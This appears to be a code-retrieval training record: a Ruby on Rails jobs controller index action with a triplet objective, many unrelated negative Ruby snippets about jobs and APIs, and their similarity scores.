"def escape(str, unsafe = @regexp[:UNSAFE])\n unless unsafe.kind_of?(Regexp)\n # perhaps unsafe is String object\n unsafe = Regexp.new(\"[#{Regexp.quote(unsafe)}]\", false)\n end\n str.gsub(unsafe) do\n us = $&\n tmp = ''\n us.each_byte do |uc|\n tmp << sprintf('%%%02X', uc)\n end\n tmp\n end.force_encoding(Encoding::US_ASCII)\n end",
"def urlify(str)\n if str.include?(\" \") == true\n # gsub! is a mutating regular expression method matching the first pattern and replacing it with the second\n str.gsub!(\" \", \"%20\") # return the mutated string\n else\n return str # if there are no spaces, return the string right away\n end\nend"
] |
[
"0.86683035",
"0.8432962",
"0.82565814",
"0.82518274",
"0.8034857",
"0.7911432",
"0.78566945",
"0.7786585",
"0.7758437",
"0.7758437",
"0.7683176",
"0.7417952",
"0.73556787",
"0.7342198",
"0.73086315",
"0.7276554",
"0.72747433",
"0.7227421",
"0.7160111",
"0.7137341",
"0.7085466",
"0.7082891",
"0.70807356",
"0.70588547",
"0.6962903",
"0.69601774",
"0.6947987",
"0.69146246",
"0.6888879",
"0.68639135",
"0.6831881",
"0.68135464",
"0.6806222",
"0.67994857",
"0.6773612",
"0.67607355",
"0.6759156",
"0.6746713",
"0.6736788",
"0.6736186",
"0.67351836",
"0.6720894",
"0.67190397",
"0.67190397",
"0.6703244",
"0.6688452",
"0.6656177",
"0.6640626",
"0.66250503",
"0.6619235",
"0.6619235",
"0.6608749",
"0.6607292",
"0.6564782",
"0.6556999",
"0.64861244",
"0.64861244",
"0.6467759",
"0.6456802",
"0.63966286",
"0.6394388",
"0.63891804",
"0.63885",
"0.63847685",
"0.6373003",
"0.63702154",
"0.63647646",
"0.63635683",
"0.6356864",
"0.63541216",
"0.63408035",
"0.6323124",
"0.6308601",
"0.62987506",
"0.6292203",
"0.62918866",
"0.62873554",
"0.62809783",
"0.6275935",
"0.62723523",
"0.62663007",
"0.6263219",
"0.62629426",
"0.6242077",
"0.6238839",
"0.62103796",
"0.61787647",
"0.61781424",
"0.61661565",
"0.61548513",
"0.6145978",
"0.6138922",
"0.6123422",
"0.60944045",
"0.6085065",
"0.60792315",
"0.6063571",
"0.6062054",
"0.6062054",
"0.6058817"
] |
0.7397488
|
12
|
Deprecated: This API will be removed in 2.7.0
|
def assignable_agents
@assignable_agents = (Current.account.users.where(id: @inbox.members.select(:user_id)) + Current.account.administrators).uniq
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def private; end",
"def internal; end",
"def private_method\n end",
"def refutal()\n end",
"def wrapper; end",
"def custom; end",
"def custom; end",
"def deprecated_key=(_arg0); end",
"def specie; end",
"def specie; end",
"def specie; end",
"def specie; end",
"def schubert; end",
"def extra; end",
"def implementation; end",
"def implementation; end",
"def raise_deprecations; end",
"def probers; end",
"def from; end",
"def from; end",
"def from; end",
"def from; end",
"def macro; raise NotImplementedError; end",
"def macro; raise NotImplementedError; end",
"def macro; raise NotImplementedError; end",
"def alias_of; end",
"def support\n raise \"Not implemented\"\n end",
"def extended(*) end",
"def handle; end",
"def external; end",
"def original; end",
"def initialize\n super()\n end",
"def public_method; end",
"def outdated; end",
"def ref; end",
"def preflight; end",
"def weber; end",
"def old_sync; end",
"def sitemaps; end",
"def initialize\n p \"deprecated method, instance should be creat by getNewGroup\"\n end",
"def initialize\n\n end",
"def initialize\n\n end",
"def pausable; end",
"def original_result; end",
"def awaken!\n\t\traise 'Not implemented'\n\tend",
"def initialize\n super\n end",
"def initialize\n super\n end",
"def initialize\n super\n end",
"def silence_deprecations; end",
"def missing; end",
"def verdi; end",
"def used?; end",
"def internal?; end",
"def public; end",
"def public; end",
"def available; end",
"def available; end",
"def provider; end",
"def extra_state; end",
"def ext; end",
"def ext; end",
"def hidden_apis=(_arg0); end",
"def version; end",
"def version; end",
"def version; end",
"def version; end",
"def version; end",
"def version; end",
"def version; end",
"def version; end",
"def version; end",
"def version; end",
"def version; end",
"def version; end",
"def version; end",
"def version; end",
"def version; end",
"def version; end",
"def version; end",
"def version; end",
"def version; end",
"def version; end",
"def version; end",
"def version; end",
"def version; end",
"def ios; end",
"def escaper=(_); end",
"def isolated; end",
"def isolated; end",
"def initialize; end",
"def initialize; end",
"def initialize; end",
"def initialize; end",
"def initialize; end",
"def initialize; end",
"def initialize; end",
"def initialize; end",
"def initialize; end",
"def initialize; end",
"def initialize; end",
"def initialize\n # nothing here for now\n end"
] |
[
"0.7633257",
"0.6305742",
"0.6219986",
"0.6196095",
"0.6157999",
"0.6008351",
"0.6008351",
"0.5989434",
"0.5983314",
"0.5983314",
"0.5983314",
"0.5983314",
"0.5937738",
"0.590435",
"0.5881453",
"0.5881453",
"0.5710194",
"0.5699839",
"0.5661955",
"0.5661955",
"0.5661955",
"0.5661955",
"0.56513107",
"0.56513107",
"0.56513107",
"0.56451315",
"0.5603828",
"0.56035745",
"0.5602387",
"0.5601333",
"0.55999404",
"0.55971223",
"0.5590098",
"0.5587798",
"0.5584188",
"0.5575425",
"0.5569495",
"0.55666685",
"0.55584943",
"0.55532324",
"0.55489993",
"0.55489993",
"0.5547374",
"0.5543566",
"0.55287015",
"0.55278015",
"0.55278015",
"0.55278015",
"0.5508369",
"0.5505207",
"0.55022275",
"0.54972655",
"0.54897356",
"0.54806167",
"0.54806167",
"0.5479964",
"0.5479964",
"0.5479164",
"0.5473015",
"0.5464578",
"0.5464578",
"0.54642236",
"0.543015",
"0.543015",
"0.543015",
"0.543015",
"0.543015",
"0.543015",
"0.543015",
"0.543015",
"0.543015",
"0.543015",
"0.543015",
"0.543015",
"0.543015",
"0.543015",
"0.543015",
"0.543015",
"0.543015",
"0.543015",
"0.543015",
"0.543015",
"0.543015",
"0.543015",
"0.543015",
"0.542789",
"0.54242873",
"0.54233813",
"0.54233813",
"0.54046685",
"0.54046685",
"0.54046685",
"0.54046685",
"0.54046685",
"0.54046685",
"0.54046685",
"0.54046685",
"0.54046685",
"0.54046685",
"0.54046685",
"0.5398677"
] |
0.0
|
-1
|
GET /jobs GET /jobs.json
|
def index
=begin
if sort_column == "category_id" && params[:locale] == :en
@jobs = Job.cat_by_name.paginate(:per_page => 1, :page => params[:page])
elsif sort_column == "category_id" && params[:locale] == :tr
@jobs = Job.cat_by_isim.paginate(:per_page => 1, :page => params[:page])
else
@jobs = Job.order(sort_column + " " + sort_direction).paginate(:per_page => 1, :page => params[:page])
end
=end
@title = t('general.main_list')
=begin
if params[:locale]=="tr"
loc = "tr"
end
if params[:locale]=="en"
loc = "en"
end
=end
sorting # defined in the application controller
respond_to do |format|
format.html # index.html.erb
#format.js
format.json { render json: @jobs }
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def index\n @jobs = Job.all\n\n render json: @jobs\n end",
"def index\n @jobs = Job.all\n render json: @jobs\n end",
"def list_jobs(json_payload={})\n conn = @client.get do |req|\n req.url '/api/v2/job/list?'\n req.headers[\"Authorization\"] = @token\n req.params = json_payload\n end\n conn.body\n end",
"def index\n @jobs = current_user.jobs\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @jobs }\n end\n end",
"def index\n @job_items = @job.job_items.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @job_items }\n end\n end",
"def find_jobs(params:)\n response = HTTParty.get(\"#{@host}/api/jobs\", query: params)\n\n return response[\"jobs\"] \n end",
"def jobs(opts = {})\n api(\n @client.list_jobs(\n @project_id,\n deep_symbolize_keys(opts)\n )\n )\n end",
"def index \n @jobs = Job.all.find_all{ |job| job.user_id == current_user.user_id }\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @jobs }\n end\n end",
"def list_jobs\n jobs = if unsafe_params[:editable]\n Job.editable_by(@context).accessible_by_private\n else\n Job.accessible_by(@context)\n end\n\n if unsafe_params[:scopes].present?\n check_scope!\n jobs = jobs.where(scope: unsafe_params[:scopes])\n end\n\n if unsafe_params[:space_uid].present?\n jobs = jobs.terminal\n end\n\n result = jobs.eager_load(user: :org).order(id: :desc).map do |job|\n describe_for_api(job, unsafe_params[:describe])\n end\n\n render json: result\n end",
"def index\n @jobs = Job.paginate(page: params[:page])\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @jobs }\n end\n end",
"def fetch_job\n JSON.parse(RestClient.get(url).body)\n end",
"def listjobs(project=self.project)\n get('listjobs.json', project: project).reject{|k,v| k=='status'}\n end",
"def job(id, options = {})\n objectify get(\"/job/#{id}\", options)['joblist']['job']\n end",
"def get_jobs(url)\n result = JSON.parse(get_data(url))\n job_list = []\n result[\"jobs\"].each do |job|\n job = JenkinsJob.new job[\"name\"], job[\"color\"], job[\"url\"]\n job_list << job\n end\n job_list\nend",
"def show\n render json: @job\n end",
"def show\n render json: @job\n end",
"def show\n @job = @user.jobs.find_by_id!(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @job }\n end\n end",
"def index\n @jobs = Job.all\n end",
"def index\n @jobs = Job.all\n end",
"def index\n @jobs = Job.all\n end",
"def index\n @jobs = Job.all\n end",
"def index\n @jobs = Job.all\n end",
"def index\n @jobs = Job.all\n end",
"def index\n @jobs = Job.all\n end",
"def get_jobs_sample(client)\n response = client['jobs'].get\n\n p ''\n p 'Get jobs'\n p response\nend",
"def jobs(opts = {})\n api(api_method: @bq.jobs.list,\n parameters: opts)\n end",
"def index\n self.limit\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @jobs }\n end\n end",
"def index\n \n @meeting_threads = @current_user.available_jobs\n \n \n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @meeting_threads }\n end\n end",
"def index\n render json: {:jobs => Job.where('branch_id = ?', current_user.branch_id).order(id: :desc),\n :branch_id => current_user.branch_id }\n end",
"def jobs\n\t\t# ...\n\tend",
"def show\n @job = Job.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @job }\n end\n end",
"def show\n @job = Job.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @job }\n end\n end",
"def show\n @job = Job.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @job }\n end\n end",
"def show\n @job = Job.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @job }\n end\n end",
"def show\n @job = Job.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @job }\n end\n end",
"def jobs\n\t\t@jobs = Job.where(user_id: @company.user_id)\n\t\trespond_to do |format|\n\t\t\tformat.js\n\t\tend\n\tend",
"def job\n fetch('games.final_fantasy_xiv.jobs')\n end",
"def list_jobs(username, password, uuid = nil)\n jobs = get_json('jobs.json', username, password)\n puts \"\"\n jobs[\"jobs\"].each do |job|\n next if uuid && job['uuid'] != uuid\n if job['jobURL']\n job.merge!(get_json(job['jobURL'], username, password, ''))\n end\n puts summarise_job(job, 2)\n puts \"\"\n end\n del = jobs['delivered']\n puts \"#{del['jobCount']} jobs, #{del['activityCount']} activities delivered since #{del['since']}\"\nend",
"def getCurrentJobs\n getJobs('0/')\n end",
"def show\n @job = @user.jobs.find_by_id!(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render_for_api :checkins_with_job, json: @job, root: :job }\n end\n end",
"def index\n #@jobs = Job.all\n @jobs = Job.all(:order => 'updated_at DESC')\n #@jobs = @user.jobs.all(:order => 'updated_at DESC')\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @jobs }\n end\n end",
"def index\n @jobs = Job.all\n # @jobs = ScriptedClient::Job.all\n end",
"def show\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @launched_job }\n end\n end",
"def index\n jobs = Job.all.map do |job|\n { title: job.title, timerange: job.timerange }\n end\n \n render json: { results: jobs }.to_json, status: :ok\n end",
"def get_job(id)\n conn = @client.get do |req|\n req.url \"/api/v2/job/#{id}\"\n req.headers[\"Authorization\"] = @token\n end\n conn.body\n end",
"def get_single_job_sample(client)\n response = client[\"jobs/#{$job_id}\"].get\n\n p ''\n p 'Get single job'\n p response\nend",
"def index\n @training_active_jobs = Training::ActiveJob.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @training_active_jobs }\n end\n end",
"def new\n @job = @user.jobs.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @job }\n end\n end",
"def new\n @job = @user.jobs.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @job }\n end\n end",
"def get(jid)\n results = @client.call('get', jid)\n Job.new(@client, JSON.parse(results)) unless results.nil?\n end",
"def get_job_status id\n response = get \"http://#{@host}/loadbalancers/tenant/#{@tenant}/jobs/#{id}\"\n raise LBModelException.new \"Expected HTTP 200 but got #{response.code} instead\" unless response.code == 200\n\n JSON.parse(response)\n end",
"def index\n @job_requests = JobRequest.all\n end",
"def index\n @jobs = Job.page(params[:page])\n end",
"def find_job(job_id)\n response = HTTParty.get(\"#{@host}/api/jobs/#{job_id}\")\n\n return response['job']\n end",
"def show\n @job_item = @job.job_items.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @job_item }\n end\n end",
"def index\n @jobs = Job.all\n render :index\n end",
"def index\n @jobs = Job.paginate :page => params[:page], :order => 'created_at DESC', :per_page =>10\n @job = Job.find(:last)\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @jobs }\n format.json { render :json => @jobs }\n end\n end",
"def index\n @jobs = Job.with_hires(nil).all\n end",
"def show\n @job = Job.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.haml\n format.json {\n render :json => @job,\n :methods => [:status_name, :percentage, :total, :completed, :error, :ended?]\n }\n end\n end",
"def jobs\n @jobs || {}\n end",
"def index\n @jobtimes = current_company.jobtimes.find_all_by_job_id(params[:job_id])\n respond_to do |format|\n format.xml {render :xml => @jobtimes }\n format.json { render :json => @jobtimes }\n end\n end",
"def possible_jobs\n \n\n job = params[:job].titleize\n location = params[:location].titleize\n\n results = Cb.job.search({ location: location,\n keywords: job })\n jobs = results.model.jobs\n @job_data = {\n job: job,\n location: location,\n job_results: jobs\n }\n end",
"def index\n @jobs = Job.all\n @paginated_jobs = @jobs.paginate(:page => params[:page], :per_page => Settings.Pagination.NoOfEntriesPerPage)\n end",
"def index\n @job_folios = JobFolio.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @job_folios }\n end\n end",
"def get_job_info(page)\n job_api = \"#{BASE_URL}/v4/projects/#{PROJECT_ID}/jobs?page=#{page}&per_page=#{PER_PAGE}\"\n begin\n response = RestClient::Request.new(\n :method => :get,\n :url => job_api,\n :verify_ssl => false,\n :headers => {\"PRIVATE-TOKEN\" => API_TOKEN}\n ).execute\n\n response.headers\n\n rescue RestClient::ExceptionWithResponse => err\n puts \"jobs info error: #{err.response}\"\n return nil\n end\nend",
"def show\n @user = User.find(params[:id])\n @jobs = @user.jobs\n end",
"def public_api_get_jobs(modified, api_key, opts = {})\n data, _status_code, _headers = public_api_get_jobs_with_http_info(modified, api_key, opts)\n return data\n end",
"def index\n @joborders = Joborder.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @joborders }\n end\n end",
"def jobs\n doc = Nokogiri::XML open(@url)\n\n doc.search('//job').map { |node|\n Job.new(attributes_from(node))\n }\n end",
"def get_jobs_list(status = :all, page = 1, reload = false)\n Bitmovin::Job.list(status, page, reload)\n end",
"def search\n data = Job.search(params)\n\n # Respond with :json, :txt (tab delimited Blast results), or GFF3.\n respond_with data.flatten!(1) do |format|\n format.json {\n render :json => Quorum::JobSerializer.as_json(data)\n }\n format.gff {\n render :text => Quorum::JobSerializer.as_gff(data)\n }\n format.txt {\n render :text => Quorum::JobSerializer.as_txt(data)\n }\n end\n end",
"def index\n @jobs = Job.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @jobs }\n end\n end",
"def job_get(organization, jobid)\n uri = server_uri(\"/organizations/#{organization}/jobs/#{jobid}\")\n res_data = api_get(uri)\n @logger.debug res_data\n\n return res_data\n end",
"def index\n # Fetches space jobs.\n if params[:space_id]\n jobs = []\n if find_user_space\n jobs = @space.jobs.\n eager_load(:app, user: :org, analysis: :workflow).\n includes(:taggings).\n search_by_tags(params.dig(:filters, :tags)).\n order(order_from_params).page(page_from_params).per(PAGE_SIZE)\n jobs.each { |job| job.current_user = @context.user }\n\n jobs = JobService::JobsFilter.call(jobs, params[:filters])\n\n sync_jobs(jobs)\n end\n\n page_dict = pagination_dict(jobs)\n\n render json: jobs, root: \"jobs\", meta: count(page_dict[:total_count]).\n merge({ pagination: page_dict }), adapter: :json\n else\n # Fetches all user 'private' jobs.\n jobs = Job.\n editable_by(@context).\n accessible_by_private.\n eager_load(:app, user: :org, analysis: :workflow).\n includes(:taggings).\n search_by_tags(params.dig(:filters, :tags)).\n order(ORDER_GROUP_FIELDS)\n jobs = JobService::JobsFilter.call(jobs, params[:filters])\n\n render_jobs_list(jobs)\n end\n end",
"def get_jobs(from, to)\n\n job_info = get_job_info(from)\n total_page = job_info[:x_total_pages].to_i\n new_to = (to == nil || to < total_page) ? to : total_page\n puts \">> total page : \" + total_page.to_s\n\n jobs = []\n (from..new_to).each do |page|\n job_api = \"#{BASE_URL}/v4/projects/#{PROJECT_ID}/jobs?page=#{page}&per_page=#{PER_PAGE}\"\n puts \">>start:page:\" + page.to_s\n\n begin\n response = RestClient::Request.new(\n :method => :get,\n :url => job_api,\n :verify_ssl => false,\n :headers => {\"PRIVATE-TOKEN\" => API_TOKEN}\n ).execute\n\n if response != nil && response.code == 200\n res = JSON.parse(response.to_str)\n jobs += res\n end\n\n rescue RestClient::ExceptionWithResponse => err\n puts \"jobs error: #{err.response}\"\n end\n end\n\n jobs\nend",
"def index\n @jobs = PeriodicJob.list params[:page], current_user.row_limit\n end",
"def index\n \t@jobs = Job.all\n \t# if i wanted to find all of my jobs\n \t# @jobs = current_user.jobs.all\n end",
"def index\n @jobs = Job.find(:all, :conditions => params_to_conditions(params), :order => \"id\")\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @jobs }\n end\n end",
"def jobs\r\n end",
"def index\n @job_details = JobDetail.all\n end",
"def get_job(job_id)\n client = IotHubApiClient.new(@options)\n res = client.get(jobs_path(job_id), @api_version_param)\n JobResponse.new(response_json(res))\n end",
"def show\n @employing_unit = EmployingUnit.find(params[:id])\n @job=Job.new\n @jobs=@employing_unit.jobs\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @employing_unit }\n end\n end",
"def new\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @job }\n end\n end",
"def index\n @jobsearches = Jobsearch.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @jobsearches }\n end\n end",
"def new\n\t\t@job = Job.new\n\n\t\trespond_to do |format|\n\t\t\tformat.html # new.html.erb\n\t\t\tformat.json { render json: @job }\n\t\tend\n\tend",
"def index\n @job = Job.find(params[:jid]) if params[:jid] and Job.exists?(params[:jid])\n redirect_to jobs_path unless @job\n @job = Job.find(params[:jid]) if params[:jid] and Job.exists?(params[:jid])\n redirect_to jobs_path unless @job\n @job_scope_additions = JobScopeAddition.find_all_by_jobs_id(@job.id)\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @job_scope_additions }\n end\n end",
"def index\n jobs_index(Job.all)\n end",
"def index\n respond_to do |format|\n format.html \n format.js { render :partial => 'list', :locals => { :jobs => Job.get_jobs(current_user, params) } }\n format.xml { render :xml => Job.get_jobs(current_user, params.merge({:show => 'all'})) }\n end\n end",
"def new\n @job = Job.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @job }\n end\n end",
"def new\n @job = Job.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @job }\n end\n end",
"def new\n @job = Job.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @job }\n end\n end",
"def new\n @job = Job.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @job }\n end\n end",
"def get_job(uuid, username, password)\n jobs = get_json('jobs.json', username, password)\n job = jobs['jobs'].find { |j| j['uuid'] == uuid }\n\n if job['jobURL']\n job.merge!(get_json(job['jobURL'], username, password, ''))\n end\n\n fail \"Could not find job with UUID=#{uuid}\" unless job\n job\nend",
"def index\n\t\t@page = 'browse'\n if params[:search].blank?\n\t\t case params[:type]\n\t\t\t\twhen \"featured\"\n\t\t\t\t\t@jobs = Job.featured\n when \"latest\"\n @jobs = Job.recently_submited(9)\n\t\t\t\twhen \"closed\"\n\t\t\t\t\t@jobs = Job.closed\n\t\t\t\telse\n\t\t\t\t\t@jobs = Job.open\n end\n else\n\t\t\t@page = 'search'\n @jobs = Job.active.find(:all, :conditions => ['role LIKE ? OR company LIKE ?', \"%#{params[:search]}%\", \"%#{params[:search]}%\"])\n\t\t\tif @jobs.empty?\n @page_header_line = \"Your search by <strong>#{h(params[:search])}</strong> did not return any job. Try a different search or <a href='#{jobs_url}'>go browse</a>.\"\n else\n @page_header_line = \"Your search by <strong>#{h(params[:search])}</strong> returned the following results: \"\n end\n end\n\n @jobs = @jobs.paginate :per_page => 10, :page => params[:page]\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @jobs }\n end\n end",
"def jobs(params={})\n @radius = params[:radius] if params[:radius]\n @zipcode = params[:zipcode] if params[:zipcode]\n return @jobs if (@jobs && !params[:force])\n page = params[:page] || 1\n per_page = params[:per_page] || 100\n @jobs = get_jobs(page,per_page)\n end",
"def show\n\t\t@project = Project.accessible(current_user).find_by_name(params[:project_id])\n\t\traise \"There is no such project.\" unless @project.present?\n\n\t\t@job = Job.find(params[:id])\n\t\t@messages_grid = initialize_grid(@job.messages,\n\t\t\torder: :created_at,\n\t\t\tper_page: 10\n\t\t)\n\n\t\trespond_to do |format|\n\t\t\tformat.html # show.html.erb\n\t\t\tformat.json { render json: @job }\n\t\tend\n\tend",
"def index\n @jobs = Job.all\n\n # change layout for index\n #render layout: \"application\"\n end",
"def show\n @saved_jobs = SavedJob.where(:user_id => current_user.id).order(\"created_at DESC\")\n\n @saved_job = SavedJob.find(params[:id])\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @saved_job }\n end\n end",
"def all_jobs\n\n find_jobs()\n end",
"def index\n @volunteer_jobs = VolunteerJob.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @volunteer_jobs }\n end\n end",
"def index\n @pending_jobs = PendingJob.all\n end"
] |
[
"0.78487986",
"0.78391117",
"0.7709953",
"0.7699296",
"0.74898845",
"0.7433689",
"0.7387766",
"0.73397416",
"0.73253435",
"0.72978896",
"0.72852373",
"0.7262688",
"0.7212051",
"0.72030485",
"0.71915585",
"0.71915585",
"0.71735525",
"0.7161574",
"0.7146019",
"0.7146019",
"0.7146019",
"0.7146019",
"0.7146019",
"0.7146019",
"0.71374166",
"0.7110979",
"0.71033067",
"0.7084538",
"0.708442",
"0.7081443",
"0.70546216",
"0.70546216",
"0.70546216",
"0.70546216",
"0.70546216",
"0.7043654",
"0.70404917",
"0.7024569",
"0.70204306",
"0.70020276",
"0.69962513",
"0.6987001",
"0.6984571",
"0.69816613",
"0.6978064",
"0.6923412",
"0.6912754",
"0.6851684",
"0.6851684",
"0.68406266",
"0.68397737",
"0.68359077",
"0.6835666",
"0.6826369",
"0.68250775",
"0.68166214",
"0.6811104",
"0.68076795",
"0.6782449",
"0.6761304",
"0.6757455",
"0.672691",
"0.67068017",
"0.6703917",
"0.6699922",
"0.6692218",
"0.6682872",
"0.6671499",
"0.6659162",
"0.6645825",
"0.66439766",
"0.6639349",
"0.6636272",
"0.6608544",
"0.66001517",
"0.65981805",
"0.6589027",
"0.6566939",
"0.65351313",
"0.65193075",
"0.6513305",
"0.65111524",
"0.6503713",
"0.649713",
"0.6487792",
"0.6481146",
"0.64804345",
"0.64754134",
"0.64746165",
"0.64746165",
"0.64746165",
"0.64746165",
"0.6472091",
"0.64716864",
"0.6471483",
"0.6460298",
"0.64557004",
"0.6455072",
"0.64457816",
"0.64410967",
"0.64351296"
] |
0.0
|
-1
|
GET /jobs/1 GET /jobs/1.json
|
def show
session[:time_now] = Time.now
@job = Job.find(params[:id])
if (Category.where("id = ?", @job.category_id).first.nil? ||
Category.where("id = ?", @job.category_id).map{|p| p.isim} == ["Diğer"] ||
Category.where("id = ?", @job.category_id).map{|p| p.isim} == ["Other"])
@category = t('general.category_is_not_specified')
elsif I18n.locale == :en
@category = Category.where("id= ?", @job.category_id).first.name
elsif I18n.locale == :tr
@category = Category.where("id= ?", @job.category_id).first.isim
end
if request.xhr?
render 'show_ajax', :layout => false
#respond_to do |format|
# format.js
#end
else
respond_to do |format|
format.html # index.html.erb
format.json { render json: @job }
end
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def get_single_job_sample(client)\n response = client[\"jobs/#{$job_id}\"].get\n\n p ''\n p 'Get single job'\n p response\nend",
"def job(id, options = {})\n objectify get(\"/job/#{id}\", options)['joblist']['job']\n end",
"def index\n @jobs = Job.all\n\n render json: @jobs\n end",
"def index\n @jobs = Job.all\n render json: @jobs\n end",
"def show\n @job = @user.jobs.find_by_id!(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @job }\n end\n end",
"def index\n @jobs = current_user.jobs\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @jobs }\n end\n end",
"def get_job(id)\n conn = @client.get do |req|\n req.url \"/api/v2/job/#{id}\"\n req.headers[\"Authorization\"] = @token\n end\n conn.body\n end",
"def find_job(job_id)\n response = HTTParty.get(\"#{@host}/api/jobs/#{job_id}\")\n\n return response['job']\n end",
"def fetch_job\n JSON.parse(RestClient.get(url).body)\n end",
"def show\n @job = Job.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @job }\n end\n end",
"def show\n @job = Job.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @job }\n end\n end",
"def show\n @job = Job.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @job }\n end\n end",
"def show\n @job = Job.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @job }\n end\n end",
"def show\n @job = Job.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @job }\n end\n end",
"def list_jobs(json_payload={})\n conn = @client.get do |req|\n req.url '/api/v2/job/list?'\n req.headers[\"Authorization\"] = @token\n req.params = json_payload\n end\n conn.body\n end",
"def index\n @job_items = @job.job_items.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @job_items }\n end\n end",
"def show\n @job = @user.jobs.find_by_id!(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render_for_api :checkins_with_job, json: @job, root: :job }\n end\n end",
"def show\n render json: @job\n end",
"def show\n render json: @job\n end",
"def get_job_status id\n response = get \"http://#{@host}/loadbalancers/tenant/#{@tenant}/jobs/#{id}\"\n raise LBModelException.new \"Expected HTTP 200 but got #{response.code} instead\" unless response.code == 200\n\n JSON.parse(response)\n end",
"def show\n @job_item = @job.job_items.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @job_item }\n end\n end",
"def get(jid)\n results = @client.call('get', jid)\n Job.new(@client, JSON.parse(results)) unless results.nil?\n end",
"def get_jobs_sample(client)\n response = client['jobs'].get\n\n p ''\n p 'Get jobs'\n p response\nend",
"def index\n @jobs = Job.paginate(page: params[:page])\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @jobs }\n end\n end",
"def index \n @jobs = Job.all.find_all{ |job| job.user_id == current_user.user_id }\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @jobs }\n end\n end",
"def find_jobs(params:)\n response = HTTParty.get(\"#{@host}/api/jobs\", query: params)\n\n return response[\"jobs\"] \n end",
"def show\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @launched_job }\n end\n end",
"def index\n self.limit\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @jobs }\n end\n end",
"def job\n fetch('games.final_fantasy_xiv.jobs')\n end",
"def index\n @jobs = Job.all\n end",
"def index\n @jobs = Job.all\n end",
"def index\n @jobs = Job.all\n end",
"def index\n @jobs = Job.all\n end",
"def index\n @jobs = Job.all\n end",
"def index\n @jobs = Job.all\n end",
"def listjobs(project=self.project)\n get('listjobs.json', project: project).reject{|k,v| k=='status'}\n end",
"def new\n @job = @user.jobs.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @job }\n end\n end",
"def new\n @job = @user.jobs.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @job }\n end\n end",
"def get_jobs(url)\n result = JSON.parse(get_data(url))\n job_list = []\n result[\"jobs\"].each do |job|\n job = JenkinsJob.new job[\"name\"], job[\"color\"], job[\"url\"]\n job_list << job\n end\n job_list\nend",
"def getCurrentJobs\n getJobs('0/')\n end",
"def index\n @jobs = Job.all\n end",
"def show\n @job = Job.find(params[:id])\n end",
"def show\n @job = Job.find(params[:id])\n end",
"def fetch_job\n @job = Job.find(params.require(:id))\n end",
"def job_get(organization, jobid)\n uri = server_uri(\"/organizations/#{organization}/jobs/#{jobid}\")\n res_data = api_get(uri)\n @logger.debug res_data\n\n return res_data\n end",
